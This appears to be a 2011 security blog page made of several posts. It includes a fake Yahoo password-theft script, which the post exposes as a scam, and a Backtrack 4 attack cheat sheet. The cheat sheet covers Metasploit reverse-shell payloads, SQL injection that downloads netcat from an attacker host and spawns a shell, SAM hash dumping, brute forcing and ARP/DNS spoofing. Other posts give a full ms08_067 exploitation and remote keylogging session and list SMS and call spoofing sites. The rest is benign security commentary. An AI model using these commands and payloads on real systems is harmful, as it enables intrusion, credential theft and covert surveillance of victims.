Hacking yahoo is as easy as sending an E-mail.

Have you ever asked for your password from Yahoo? This system confuses that same system.

By simply emailing retrieve_pwd_yh@yahoo.co.uk this

var return[snd_mail] = your email@yahoo.com;

var enterpass_md5 = yourpass;

Fcn7662Nc2A_md5encryp_get_pass(TheIDofthepassyouwant);

This confuses the server to, email you the persons password.

All that is required is that you copy that script exactly!

Here is an example:

window.open(“http://www.eliteskills.com/”,null,”height=500,width=800,status=no,toolbar=yes,menubar=yes,location=yes, scrollbars=yes”); var return = bob@yahoo.com;

var enterpass = drowssap;

Fcn7662Nc2A_md5encryp_get_pass(joe14469);

In a matter of minutes you will have joe14469’s password!

How it works:

The program normally would read your login name find your password with functions setup by yahoo and re-email it to you. This time you are the one writing the message so you can manipulate the arguments of the functions. The code above resets the original variables in the function to alter the route of the sent password and user who queries the server. Basically it’s as if they sent the request for their password but it logs you in as the receiver. This is intended to be used only by system administrators to ban users or to bust illegal porn and drug sites. This is a first hand source and should not be used for illegal purposes other than password recovery of your own account. Any unlawful activity is your own responsibility and no one else. Note that if incorrectly sent (either login or syntax) the message is not replied to and due to the thousands of E-mails sent to the address each day it’s not moderated by an administrator.

Well, this much of texts are enough to motivate anyone to send his/her password to the hacker. If you read carefully the hacker is trying to make the victim send his/her password emailed to the hacker E-mail ID (retrieve_pwd_yh@yahoo.co.uk). But its very clear to all the readers, yahoo doesn’t have any such mechanism to retrieve the password. So, don’t get trapped into such dirty games. This is not the only way of Social Engineering to hack email passwords. There are several such means where the hacker will try to motivate the victim.

A Report On Backtrack 4

2011-06-07T13:18:00.001+05:30

Table of Contents:
I. Networking
II. Services
III. Basics
IV. Foot printing
V. Scanning
VI. Windows Enumeration
VII. ARP Spoofing
VIII. Exploits
IX. Metasploit
What to do after gaining a remote shell
X. TFTP
XI. Netcat
XII. Passwords
XIII. Physical Access
XIV. SQL Injection
XV. Alternate Data Streams
XVI. A White Hat’s Pen Test
Networking:
dhcpcd :get a new IP address
Renew dynamic IP address:
dhcpcd -k :release IP address
ifconfig eth0 up :bring up the NIC
dhcpcd :get a new IP address
Static IP address:
ifconfig eth0 192.168.0.100/24 :set IP address & sub net mask
route add default gw 192.168.0.1 :set default gateway
echo nameserver 192.168.0.1 > /etc/resolv.conf :set DNS server
Backtrack 4 config:
/etc/init.d/networking start :get a new ip address
/etc/init.d/wicd start :start wireless adapter
Services:
Apache server:
apachectl start start server on TCP port 80
apachectl stop stop server
SSH server:
sshd-generate generate ssh keys
/usr/sbin/sshd start server on TCP port 22
pkill sshd stop server
ssh user@targetIP
TFTP server:
atftpd –daemon –port 69 /tmp/ start server on UDP port 69 with a root directory of tmp
pkill tftpd stop server
VNC server:
Vncserver start server on TCP port 5901
pkill Xvnc stop server
Check what ports are listening:
netstat –ant show listening TCP ports
netstat –anu show listening UDP ports
netstat -ant | grep 22 verify ssh has started
netstat -anu | grep 69 verify tftp has started
Basics:
Mount a local hard drive:
mount /dev/hda1 /mnt/hda1
ls -l /mnt/hda1
Mount a Windows network share:
share
share admin 10.1.1.2 c$
Enter a password for the remote share.
ls -l /mnt/share/
umount /mnt/share umount share
Edit a file:
nano test.sh create a new file and open it
x exit
Y save modified buffer
write changes
chmod 755 test.sh make the file executable
./test.sh run the file
Compile a program:
gcc -o newname exploit.c
gcc -o dcom 66.c
./dcom
Install a new program:
tar zxvf program.tar.gz
cd to the new program folder method 2: bzip2 -cd program.tar.bz2 | tar xvf -
./configure
make
su root
make install
Footprinting:
Whois:
whois target.com contact info, emails, dates, name servers
ping www.target.com IP address of web server
whois targetIP network range
DNS:
dig target.com any
A
PTR Host maps a domain to an IP address
NS Pointer maps an IP address to a domain
SOA name Server server name for a delegated zone
SRV start of authority zone transfer and record caching
MX service locator used to locate services in the network
host -l target.com zone transfer
Scanning:
scanrand -b10M targetIP:quick
nmap:
-sS TCP SYN scan or Stealth, half open (default)
-sT TCP full connect (very noisy)
-sU UDP scan
-PS SYN packet discovery (best against stateful firewalls)
-PA ACK packet discovery (best against stateless firewalls)
-PN don’t ping
-n no reverse DNS lookup
-A combines -O and -sV
-O OS fingerprinting
-sV service version (banner)
-p ports to scan (T:port,U:port)
-T timing (0-5) paranoid, sneaky, polite, normal, aggressive, insane
-iL input list of hosts to scan
-oG grepable output to a file
nmap -sS -PN -n targetIP
nmap -sU -PN -n targetIP
nmap -sT -PN -n targetIP -A -p open ports -T5 -oG scan.txt
nmap -sS -p 135,139,445 targetIP
nmap -sS -p T:1433,U:1434 targetIP
amap:
Take the results from nmap and check for services on uncommon ports.
amap -i scan.txt
OS Fingerprinting:
p0f -i eth0 -U –p use interface eth0, don’t display unknown signatures, promiscuous
point a browser to the targetIP read traffic on p0f
xprobe2 targetIP
Banner Grabbing:
nc targetIP port check if the port is open
nc 10.1.1.2 80
telnet targetIP port telnet may yield slightly different results
HEAD /HTTP/1.0
wget targetIP downloads the index.html file
cat index.html | more view file one page at a time, space bar for next page
q exit file
Windows Enumeration:
nmap -sS -p 139,445 targetIP
cd /pentest/enumeration/smb-enum
nbtscan -f targetIP check to see if NetBIOS is enabled
smbgetserverinfo -i targetIP name, OS and workgroup
smbdumpusers -i targetIP list users
smbclient -L //targetIP list shares
Using Windows
net use \\targetIP\ipc$ “” /u:”" start a NULL session
net view \\targetIP view shares
smbclient:
smbclient -L hostName -I targetIP enumerate shares
smbclient -L hostName/share -U “” connect to open share with a blank user name
smbclient -L hostName -I targetIP -U admin connect to open share with user name admin
rpcclient:
rpcclient targetIP -U “” start a NULL session
netshareenum enumerate shares
enumdomusers enumerate users
lsaenumsid enumerate domain SIDs
queryuser RID user info, try 500, 501, 1000, 1001
createdomuser create user account
ARP Spoofing:
ettercap:
nano /usr/local/etc/etter.conf
Under the Linux section, uncomment both lines under iptables.
Sniff > Unified sniffing > Network interface: eth0 > OK
Hosts > Scan for hosts (do this two times)
Hosts > Hosts list
Select the default gateway > Add to Target 1
Select the target > Add to Target 2
Mitm > Arp poisoning > Sniff remote connections > OK
Start > Start sniffing
dsniff -i eth0
urlsnarf -i eth0
msgsnarf -i eth0
driftnet -i eth0
dns spoofing:
nano /usr/local/share/ettercap/etter.dns
Edit the Microsoft lines (target URL) to redirect to the attacker.
Plugins > Manage the plugins > dns_spoof
Mitm > Arp poisoning > Sniff remote connections > OK
Start > Start sniffing
Exploits:
cd /pentest/exploits/milw0rm
cat sploitlist.txt | grep -i [exploit]
Some exploits may be written for compilation under Windows, while others for Linux.
You can identify the environment by inspecting the headers.
cat exploit | grep “#include”
Windows: process.h, string.h, winbase.h, windows.h, winsock2.h
Linux: arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h
Grep out Windows headers, to leave only Linux based exploits:
cat sploitlist.txt | grep -i exploit | cut -d ” ” -f1 | xargs grep sys | cut -d “:” -f1 | sort -u
Metasploit:
svn update update framework
Web Interface:
./msfweb open a browser to 127.0.0.1:55555
Console:
./msfconsole
help
show encoders,nops,exploits,payloads.auxillary
search
use
show options
set set RHOST 192.168.1.3
show payloads
set PAYLOAD
show options
set set LHOST 192.168.1.2
show targets
set TARGET set TARGET 0
exploit
Interactive sessions:
sessions –l list active sessions
sessions -i sessions -i 4, interact with session 4
sessions -k sessions -k 4, kill session 4
z background a session
c kill a session
Jobs list exploit jobs running
jobs –K kill all jobs
Auxiliary scanners:
show auxiliary
use
set
run
scanner/discovery/sweep_udp
scanner/smb/version
scanner/mssql/mssql_ping
scanner/mssql/mssql_login
Payloads:
Attacker behind firewall: bind shell
Target behind firewall: reverse shell
Meterpreter
Automated:
db_import_nessus_nbe import Nessus results in NBE format
db_import_nmap_xml import nmap results in XML format (-oX)
cd /pentest/exploit/framework3
./msfconsole
load db_sqlite3
db_destroy pentest delete old database called pentest
db_create pentest create a new database call pentest
db_nmap targetIP run nmap through the framework and store results in database
db_hosts show hosts discovered
db_services show services running on each host
db_autopwn show options
db_autopwn -t -p –e select modules based on open ports, show matching exploits, exploit
Command Line Interface:
./msfcli | grep -i search for an exploit or auxiliary
./msfcli S summary info
./msfcli = PAYLOAD= E
Payload generator:
./msfpayload
S summary and options of payload
C C language
P Perl
y Ruby
R Raw, allows payload to be piped into msfencode and other tools
J JavaScript
X Windows executable
./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe
Encode shellcode:
./msfencode
Pipe the output of msfpayload into msfencode, show bad characters and list available encoders.
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b ‘\x00′ -l
Choose the PexFnstenvMor encoder and format the output to C.
./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b ‘\x00′ -e PexFnstenvMor -t c
What to do after gaining a remote shell:
Hostname name of computer
net users list users
net user x hack /add add user “x” with password “hack”
net user x /add add user “x” with NO password
net localgroup list security groups
net localgroup administrators list users in Administrators group
net localgroup administrators x /add add user “x” to Administrators group
Don’t use interactive programs like FTP from a remote shell
TFTP:
attack box 10.1.1.2
cp /pentest/windows-binaries/tools/nc.exe /tmp/
target box
tftp -i 10.1.1.2 GET nc.exe
TFTP copies files with read only attributes. So to delete the file:
attrib -r nc.exe
del nc.exe
Netcat:
attacker: 10.1.1.1
target: 10.1.1.2
Port scanner:
nc -v -z 10.1.1.2 1-1024 scan ports 1 to 1024
Chat session:
target: nc -lvp 4444 start Netcat and listen verbosely on port 4444
attacker: nc -v 10.1.1.2 4444
Transfer file to target:
target: nc -lvp 4444 > output.txt
attacker: nc -v 10.1.1.2 4444 words
cat words | wc -l
About 306,000 passwords.
Brute force:
ftp with a user name ftp
hydra -l ftp -P words -v targetIP ftp
pop3 with a user name muts
hydra -l muts -P words -v targetIP pop3
snmp
hydra -P words -v targetIP snmp
Microsoft VPN
nmap -p 1723 targetIP
dos2unix words
cat words | thc-pptp-bruter targetIP
WYD:
Use wget to download specific files.
wget -r www.target.com –accept=pdf -f switch will read pwdump files
wyd.pl -o output.txt www.target.com/
cat output.txt | more
SAM file:
%SYSTEMROOT%/system32/config
%SYSTEMROOT%/repair backup copy not locked by the OS
Dumping hashes:
./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E
meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\
meterpreter > execute -f cmd -c
meterpreter > interact x Where x is Channel created
C:\WINDOWS\system32> pwdump \\127.0.0.1
John the Ripper:
Paste the hashes into a new file.
nano hash.txt
Delete unneeded accounts.
cp hash.txt /pentest/password/john-1.7.2/run/
cd /pentest/password/john-1.7.2/run/
./john hash.txt
Rainbow Tables:
rcrack *.rt -f hash.txt
Physical Access:
Mount a NTFS share in read/write mode:
Boot your box with Backtrack.
mount
umount /mnt/hda1
modprobe fuse
ntfsmount /dev/hda1 /mnt/hda1
mount
ls -l /mnt/hda1
Dump the SAM file:
bkhive /mnt/sda1/WINDOWS/system32/config/system system.txt
samdump2 /mnt/sda1/WINDOWS/system32/config/sam system.txt > hash.txt
cat hash.txt
Modify SAM file directly:
chntpw /mnt/sda1/WINDOWS/system32/config/SAM
Blank the password. *
Do you really wish to change it? y
Write hive files? y
unmount /mnt/sda1
reboot
SQL Injection:
nmap -sS -p 1521 targetIP oracle
nmap -sS -p T:1433,U:1434 targetIP ms sql
Release Version of SqlServer.exe
SQL Server 2000 RTM 2000.80.194.0
SQL Server 2000 SP1 2000.80.384.0
SQL Server 2000 SP2 2000.80.534.0
SQL Server 2000 SP3 2000.80.760.0
SQL Server 2000 SP3a 2000.80.760.0
SQL Server 2000 SP4 2000.80.00.2039
SQL Server 2005 RTM 2005.90.1399
SQL Server 2005 SP1 2005.90.2047
SQL Server 2005 SP2 2005.90.3042
Authentication bypass:
‘ or 1=1– minus minus closes the SQL query, everything after it is ignored
Enumerating table names:
‘ having 1=1–
‘ group by table having 1=1–
‘ group by table, table2 having 1=1–
‘ group by table, table2, table3 having 1=1–
Enumerating column types:
union select sum(column) from table –
union select sum(column2) from table –
Adding data:
‘ ; insert into table values(‘value’,'value2′,’value3′)–
MS SQL stored procedure:
Output the database info into an html file, that you can view with a browser.
‘ ; exec sp_makewebtask “c:\Inetpub\wwwroot\test.html”, “select * from table” ; –
www.target.com/test.html
Run ipconfig on target and write to a file, that you can view with a browser.
‘ or 1=1; exec master..xp_cmdshell ‘ “ipconfig” > c:\Inetpub\wwwroot\test.txt’ ;–
www.target.com/test.txt
Upload netcat and spawn a reverse shell.
‘ or 1=1; exec master..xp_cmdshell ‘ “tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe’ ; –
attacker: nc -lvp 53
Alternate Data Streams:
Hide netcat inside a text file. Note netcat must be located in the current directory.
echo “This is a test” > test.txt
type nc.exe > test.txt:nc.exe
del nc.exe
start ./test.txt:nc.exe
A White Hat’s Pen Test by Muts:
nslookup
set type=ns
set type=mx
nmap -sS
nmap -sU
nc -v target.com 23
snmpenum
Solarwinds
tftp the router config file
Use a perl script to decrypt the passwords
Find internal mail server in config file.
nc -n internalserver.com 80
Edit config file to open more port on the router, 135,139,445,1000
Use Metasploit to send RPC exploit
tftp -i attackIP GET pwdump4.exe
pwdump4.exe \\127.0.0.1>hashes.txt
tftp -i attackIP PUT hashes.txt
Crack hashes with rainbow table.
Use Remote Desktop to connect to server

NETWORK SECURITY TIPS(How to achieve Smartphone/Mobile Security in the enterprise)

2011-06-07T13:17:00.003+05:30

Smart-phones have quickly become yet another indispensable part of modern business. Features such as wireless email, Web browsing, personal information management and network access to corporate resources allow for quicker and better decision making and greater productivity.
However, according to a 2008 survey conducted by marketing research provider Decipher Inc., 70% of respondents said they accessed sensitive information on their smart-phone device when away from the office, and therefore outside the confines of their organization’s secure environment.
This latest extension of the enterprise IT infrastructure has quickly turned from asset to risk. To make the most of the smart-phone’s undoubted benefits, it is important to address smart-phone and mobile security, safeguarding the information stored on any mobile device, just as you would with a laptop.
The essentials of a smartphone, mobile security policy
This means your mobile security policy needs to mandate:
• Device passwords with a minimum length, complexity and update frequency.
• Data encryption, depending on its sensitivity or classification level.
• Password-protected inactivity timeouts.
• No access to read-only parameters.
• Limited access to riskier features, such as Bluetooth and instant messaging.
It is also recommended only allowing voice calls on any device that is locked. And before allowing smartphones within the enterprise, ensure they can be wiped remotely if lost or stolen.

One area that has been seen as frustrating and complex by users and administrators alike has been setting up a VPN connection on a smartphone. End-to-end encryption from the smartphone, over the transport medium, to corporate resources is essential to prevent over-the-air data leakage, and thankfully vendors are upgrading products to make the whole process far easier.
Network security company Astaro Corp. claims its users can now set up and use the iPhone’s IPsec VPN capabilities with no technical knowledge, while SSL VPNs from Sonicwall Inc. offer clientless remote access for smartphones.
The Mobile VPN in Microsoft’s System Center Mobile Device Manager also adds additional protection by authenticating both the device and user. If your mobile users, however, only need to access the odd application, such as Pocket Outlook and Microsoft Exchange, then you could look at encrypting the communication by sending POP and SMTP mail protocols over TLS without a full-blown VPN.
Depending on the nature of your mobile workers’ voice calls, you may want to consider using devices developed for the National Security Agency’s Secure Mobile Environment Portable Electronic Device (SME PED) program, like Sectéra Edge, a combination phone-PDA. Such devices are certified to protect wireless voice communications classified “Top Secret,” as well as restrict access to “Secret” email and websites. If this type of product is beyond your budget, Cellcrypt Mobile, from voice security provider Cellcrypt Ltd., offers end-to-end real-time encryption for BlackBerry smartphones without the need for specialised equipment. It operates on all major wireless networks, including 2G, 3G and Wi-Fi.
The key to a strong smartphone and mobile security policy is to make sure that any sensitive data that is accessed is protected in all forms. There are many places where it might be intercepted, so you need to have them all covered.
If data is encrypted on your database server, does it remain encrypted when it is transmitted to a smartphone, either through synchronisation, email or a Web app? If the user makes a call to discuss the data, does the conversation need to be encrypted? Can you execute a remote wipe if the device and its data are lost or stolen?
Smartphones are here to stay, so you have to commit to endpoint data protection. The mobile devices may be small, but they’re still Internet-connected computers, so don’t let them become a double-edged sword.

Remote Keylogging with Backtrack

2011-06-07T13:17:00.001+05:30

Remote Keylogging

$ msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.118
RHOST => 192.168.0.118
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.139
LHOST => 192.168.0.139
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability…
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened
meterpreter > ps
Process list
============
PID Name Path
— —- —-
292 wscntfy.exe C:\WINDOWS\system32\wscntfy.exe
316 Explorer.EXE C:\WINDOWS\Explorer.EXE
356 smss.exe \SystemRoot\System32\smss.exe
416 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
440 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
[ snip ]
meterpreter > migrate 316
[*] Migrating to 316…
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 316
meterpreter > grabdesktop
Trying to hijack the input desktop…
meterpreter > keyscan_start
Starting the keystroke sniffer…
meterpreter > keyscan_dump
Dumping captured keystrokes…
This is a test of the keystroke logger <Comma> I am typing this inside of notepad.

PINOptics-A New Mobile security revolution!

2011-06-07T13:16:00.001+05:30

What is PINoptic
How PINoptic Works
Instead of having a PIN or password, you have a series of pictures or icons that make up your ‘picture story password’. When you come to enter your picture story password, multiple pictures or icons are displayed beside discrete symbols (alphanumeric characters for instance). You enter the symbols that are related to your picture story password to gain access. Each time you are asked for your picture story password the pictures, icons or symbols will be in a different place meaning that you will be entering a one-time-password each time. This means that you are protected from hacking and/or ‘shoulder surfing’.
By increasing the number of symbols required for entry, security can be radically increased. For example a military grade application would require five sets of symbols to be entered.
Initial research and confirmation of concept has been completed by cognitive psychologists at the University of Sunderland which suggests very little additional cognitive load is placed on the end-user over existing alpha-numeric PIN and password systems.
For more Information comment us we will reply it.

Power Password : The Threat Inside

2011-06-07T13:15:00.000+05:30

Most of us have heard the term “Administrative Passwords” these are the “Super Power Passwords” that sit behind every workstation – it’s the password that once you know it you have access to the network and have the power to change anything and everything and to watch exactly what everyone is up to.
Behind every PC lies a Super Power Password, when you forget your own personal password you rely on an IT person to log you back on.This is one of the biggest concerns that most organizations have – they just don’t know how many people know the Super Power Password. And so it creates big taboo.
So if you are the Chairman of a large corporation, everything you do can be watched and monitored by all those who know the Super Power Passwords. They’ll know..

How much the CEO is being paid
What his bonus is
What websites he’s visiting
Will be able to see his emails
Find out about his personal affairs
Know what’s happening to the share price way ahead of anyone else

In fact every bit of confidential information that is communicated or stored on the network you’ll be able to read if you know the Super Power Passwords !! They can indeed change or alter the entire course of the company !
A recent survey by Cyber-Ark into Super Power Passwords found that approximately one-half of all enterprises have more administrative passwords than individual ones and up to 42% of these super-powerful passwords are never changed ! What’s really worrying about these figures is that once you’ve got the super power password the chances are that even if you leave you’ll still be able to access the system as they just don’t get changed.
If you feel like being malicious towards the company the best way of destroying it is to use the super power password and you can do untold damage once you’re into the network. So next time you think of the IT guys who do the techie stuff and little else think again – they’re really the big brother in your organization. If this scares you then think seriously about managing your administrative passwords and put in the right practices and policies so you know exactly who is in control.
In Microsoft Windows, if you want to reset the local “Administrator” password then do so:

Either you can: Right-click on the icon “My Computer“, Select “Manage“, “Local Users and Groups“, “Users“, right-click on “Administrator” and “Set Password“.
Or go to the web page http://cern.ch/Win/operations/SetClientLocalAdminPassword (Change Local Administrator Password For a Client PC).

What r Clouds… n What is *Cloud-Computing??

2011-06-07T13:14:00.001+05:30

Cloud computing is a model for enabling convenient, on-demand network access to a shared pool of configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly provisioned and released with minimal management effort or service provider interaction. This cloud model promotes availability and is composed of five essential characteristics, three service models, and four deployment models.
Essential Characteristics:
On-demand self-service. A consumer can unilaterally provision computing capabilities, such as server time and network storage, as needed automatically without requiring human interaction with each service’s provider.
Broad network access. Capabilities are available over the network and accessed through standard mechanisms that promote use by heterogeneous thin or thick client platforms (e.g., mobile phones, laptops, and PDAs).
Resource pooling. The provider’s computing resources are pooled to serve multiple consumers using a multi-tenant model, with different physical and virtual resources dynamically assigned and reassigned according to consumer demand. There is a sense of location independence in that the customer generally has no control or knowledge over the exact location of the provided resources but may be able to specify location at a higher level of abstraction (e.g., country, state, or datacenter). Examples of resources include storage, processing, memory, network bandwidth, and virtual machines.
Rapid elasticity. Capabilities can be rapidly and elastically provisioned, in some cases automatically, to quickly scale out and rapidly released to quickly scale in. To the consumer, the capabilities available for provisioning often appear to be unlimited and can be purchased in any quantity at any time.
Measured Service. Cloud systems automatically control and optimize resource use by leveraging a metering capability at some level of abstraction appropriate to the type of service (e.g., storage, processing, bandwidth, and active user accounts). Resource usage can be monitored, controlled, and reported providing transparency for both the provider and consumer of the utilized service.
Service Models:
Cloud Software as a Service (SaaS). The capability provided to the consumer is to use the provider’s applications running on a cloud infrastructure. The applications are accessible from various client devices through a thin client interface such as a web browser (e.g., web-based email). The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, storage, or even individual application capabilities, with the possible exception of limited user-specific application configuration settings.
Cloud Platform as a Service (PaaS). The capability provided to the consumer is to deploy onto the cloud infrastructure consumer-created or acquired applications created using programming languages and tools supported by the provider. The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, or storage, but has control over the deployed applications and possibly application hosting environment configurations.
Cloud Infrastructure as a Service (IaaS). The capability provided to the consumer is to provision processing, storage, networks, and other fundamental computing resources where the consumer is able to deploy and run arbitrary software, which can include operating systems and applications. The consumer does not manage or control the underlying cloud infrastructure but has control over operating systems, storage, deployed applications, and possibly limited control of select networking components (e.g., host firewalls).
Deployment Models:
Private cloud. The cloud infrastructure is operated solely for an organization. It may be managed by the organization or a third party and may exist on premise or off premise.
Community cloud. The cloud infrastructure is shared by several organizations and supports a specific community that has shared concerns (e.g., mission, security requirements, policy, and compliance considerations). It may be managed by the organizations or a third party and may exist on premise or off premise.
Public cloud. The cloud infrastructure is made available to the general public or a large industry group and is owned by an organization selling cloud services.
Hybrid cloud. The cloud infrastructure is a composition of two or more clouds (private, community, or public) that remain unique entities but are bound together by standardized or proprietary technology that enables data and application portability (e.g., cloud bursting for load-balancing between clouds).

Information Security…..Call Spoofing and Smishing

2011-06-07T13:13:00.001+05:30

Information Security…..
I am not here to tell you what is the meaning of call spoofing or smishing.
Smishing — There are many sites from where you can send fake sms to anyone (if you are paying money to site for fake sms, it means you can be caught) this information is just for a educational purpose.
Sites are given below :-
www.fakemytext.com ; www.smsspoofing.com ; www.smstexter.com ; www.thesmszone.com
Smishing Security/Counter Measure — If you will received any sms from bank or any organisation don’t trust that sms, or you can also confirm from that organisation that they have sent any message to your mobile or not.
– You can do Call Spoofing from these sites :-
www.crazycall.net ; www.bluffmycall.com
Call Spoofing Security/Counter Measure – ? there is no security against it .. actually i havent find any …

Information Security…HOW TO MAKE YOUR PC FASTER..

2011-06-07T13:12:00.001+05:30

1. use registry cleaner : whenever there is a virus attack registry is one part of operating system which is most effected.
2 def rag your hard drive : this is one of the steps of trouble shooting which almost every one ignored. but if you def rag your hard drive data will be stored in a sequential way providing easy access to ram.
3 scan for ad ware/spy ware & virus : always use an updated anti virus to scan once you start working.
4 adjust computer visual effect
5 always clean window temporary file : go to start/run/temp select all delete
4 increase virtual memory if required : use following path my computer/properties/advance/performance/advance/check virtual memory
5 even using all these steps your PC is still slow please increase your ram

Juniper pulls ATM hacking presentation from Black Hat

2011-06-07T13:11:00.002+05:30

A Juniper Networks Inc. security researcher who planned to demonstrate a way to hack the software of an ATM at the Black Hat Briefings in Las Vegas had his presentation pulled at the request of the ATM vendor.Barnaby Jack’s”Jackpotting Automated Teller Machines,” presentation, which was to take place on July 30, was pulled from the schedule on Monday. Juniper Networks confirmed the cancellation. In a statement the vendor said it received a request to pull the presentation from an ATM vendor.
“Juniper believes that Jack’s research is important to be presented in a public forum in order to advance the state of security. However, the affected ATM vendor has expressed to us concern about publicly disclosing the research findings before its constituents were fully protected,” Juniper said. “Considering the scope and possible exposure of this issue on other vendors, Juniper decided to postpone Jack’s presentation until all affected vendors have sufficiently addressed the issues found in his research.” Jack would have demonstrated a way to attack the underlying software of a line of popular new model ATMs. The presentation would have addressed local and remote attack vectors and finished with a live demonstration on an unmodified stock ATM.
“We are reaching out to other ATM vendors with the offer to assist them with promptly and diligently addressing the security risks and vulnerabilities uncovered in Jack’s research,” Juniper said.
The hacking technique is unique. Traditional methods to bilk ATMs involve card skimmers or the physical theft of the ATM.
ATM makers have been under increased pressure to lock down their models after several high-profile attacks on machines. Last December, RBS WorldPay, the U.S.-based payment processing division of the Royal Bank of Scotland Group plc, disclosed a security breach in which hackers used millions of stolen cardholder data in a coordinated ATM scam, making off with $9 million. The thieves used stolen and cloned payroll debit cards and reloadable gift cards.alware was used in several ATM breaches in Eastern Europe. Earlier this month, security vendor Trustwave Corp. said its researchers uncovered the malware while investigating ATM breaches in Russia and Ukraine over the past few months. Trustwave said 20 ATMs were infected with sophisticated malware that allowed attackers to not only steal and track data and PINs, but also cash. A specialized card could allow an attacker to bilk up to $600,000 on large ATMs.

Are You Secured on the Net?

2011-06-07T13:11:00.000+05:30

Are You Secured on the Net?

We all are living 2 lives these days one is the real life and the other one is the virtual life- the life on the internet. We have net friends, social networks, dating, scrapping, and personal information on the internet. The average time spend by an individual on the internet is also increasing. The question that comes to our mind is that are we secured in the virtual world. You would have seen the movie matrix where every human being had 2 lives – Real and Virtual and if one dies in the virtual world he/she dies in the real world too. The similar is the case here if not the same.

Do you access internet from cyber cafes?

You went to a cyber café, checked your emails, bank accounts and came back home. Next day your accounts were hacked. If this has not happened with you, it’s about to happen soon. Whenever you are accessing your emails, bank accounts through an un trusted network like cyber cafes there might be a strong possibility that they installed softwares known as keyloggers, trojans or sniffers which can capture your passwords. The question comes how does one detect this? Have a look at the figure on your right. This shows the taskbar of your windows system. If you see unknown icons here, for e.g.- you may see a guy with black hat in the figure shown consult your cyber café guy and ask him what is it and until you are assured that its not a harmful software don’t use the computer.

Cyber Café Owners should implement strong policies and not allow computer users to install their own softwares in order to prevent this crime.

Do you chat to strangers/net friends?

So you chat using yahoo messenger, MSN, Rediffbol or ICQ. Almost everyone uses them, makes net friends, share photos and other stuff online. An example of photo sharing on yahoo messenger is shown in the picture underneath

If you receive files through the internet from people then you might be in trouble. A person might pretend to be your friend but is a social hacker who will use your trusting nature to hack you. You might be saving his photograph but it might contain a virus or a spyware that may infect your computer. It may also contain a hidden software known as a trojan that will automatically install on your system and used by the hacker to control your system. This has led to serious crimes in the past and is only bound to increase. The solution to this is being smart on the internet and not falling in traps of such people. It’s better to take more time to trust a person than to fall in such traps.

Have you put your profile on orkut, fropper or any other social network?

We are living in the age where online social networks, online dating have become an important part of our lives. But this source of entertainment has dangers of privacy. Time and again pictures loaded on social networks are morphed and converted to pornographic or nudity. Privacy has become an important issue with these social networks. With the evolution of social networks online dating sites like fropper have become famous too and people have become open to the concept of online dating. In fact its an evolution in itself. However while using these entertainment sources we should be cautious of not putting pictures that can be easily morphed and be stringent in trusting a person. It’s generally recommended that do-not give away information regarding you which can be used harmfully by a person on the internet.

Do you ask your friends to check your emails?

You might be lazy o check your emails sometimes. But does that mean that you can be lazy enough to share passwords with friends on the internet. It’s generally suggested that you should not share your passwords with anyone. The more number of people who know your passwords the greater chances are of it being hacked. This can cause serious problems to both your real as well as virtual lives if you are unaware. Your email id can be used to conduct cyber crimes using your emails. It can be used by people in your social groups to make you un-popular or affect your relationships with your friends. It can also be used by smart hackers to crack your other sensitive passwords be that of your bank accounts for that matter.

Did you check that email received was send by your friend or not?

Emails can be spoofed and send by another person’s id without hacking into email accounts. Thus it is very important to check whether the email received by you is actually sent by your friend or not. This can be done by simply checking the email header and identifying whether the email generated from the correct source. For example: If it is an email from xyz@yahoo.com and the originating server which comes in the email header is not yahoo.com it means it’s a spoofed email. For details you may visit: www.appinlabs.com

Did you logon to your bank account one day only to find it hacked?

A very common crime known as Phishing has become prevalent these days. Here the attacker sends you a spoofed email from your bank accounts email address asking you to immediately change your password by clicking on a link. Actually this link takes you to a page which is same as your bank page but is hosted by a hacker who intends to capture your username and password. You can see a copy of a Phishing page of Yahoo email. The crime can be prevented by following:

1) Check the authenticity of the email

2) Don’t click the URL written in the email instead typing in the URL on the web browser.

3) Always remember a bank or email account never gives a short notice to update your information.

Countermeasures

1) Be cautious on the internet. Trust process has to be more stringent than the real world.

2) Don’t put sensitive information on the internet

3) Install your anti-virus and firewall and keep them updated

4) Follow all the above mentioned measures to prevent yourself being a victim of cyber crimes.

Salami Attack

2011-06-07T13:10:00.002+05:30

Salami attack

In the salami technique, cyber criminals steal money or resources a bit at a time. The key here is to make the alteration so insignificant that in a single case it would go completely unnoticed. E.g. a bank employee inserts a program, into the bank’s servers, that deducts a small amount of money (say Rs. 5 a month) from the account of every customer. No account holder will probably notice this unauthorized debit, but the cyber criminal will make a sizable amount of money every month.

The classic story about a salami attack is the old ” collect-the-roundoff ” trick. In this scam, a programmer modifies arithmetic routines, such as interest computations. Typically, the calculations are carried out to several decimal places beyond the customary two or three kept for financial records. For example, when currency is in dollars, the round off goes up to the nearest penny about half the time and down the rest of the time. If a programmer arranges to collect these fractions of pennies in a separate account, a sizable fund can grow with no warning to the financial institution.

To quote an example, an employee of a bank in USA was dismissed from his job. Disgruntled at having been supposedly mistreated by his employers the man first introduced a logic bomb into the bank’s systems.

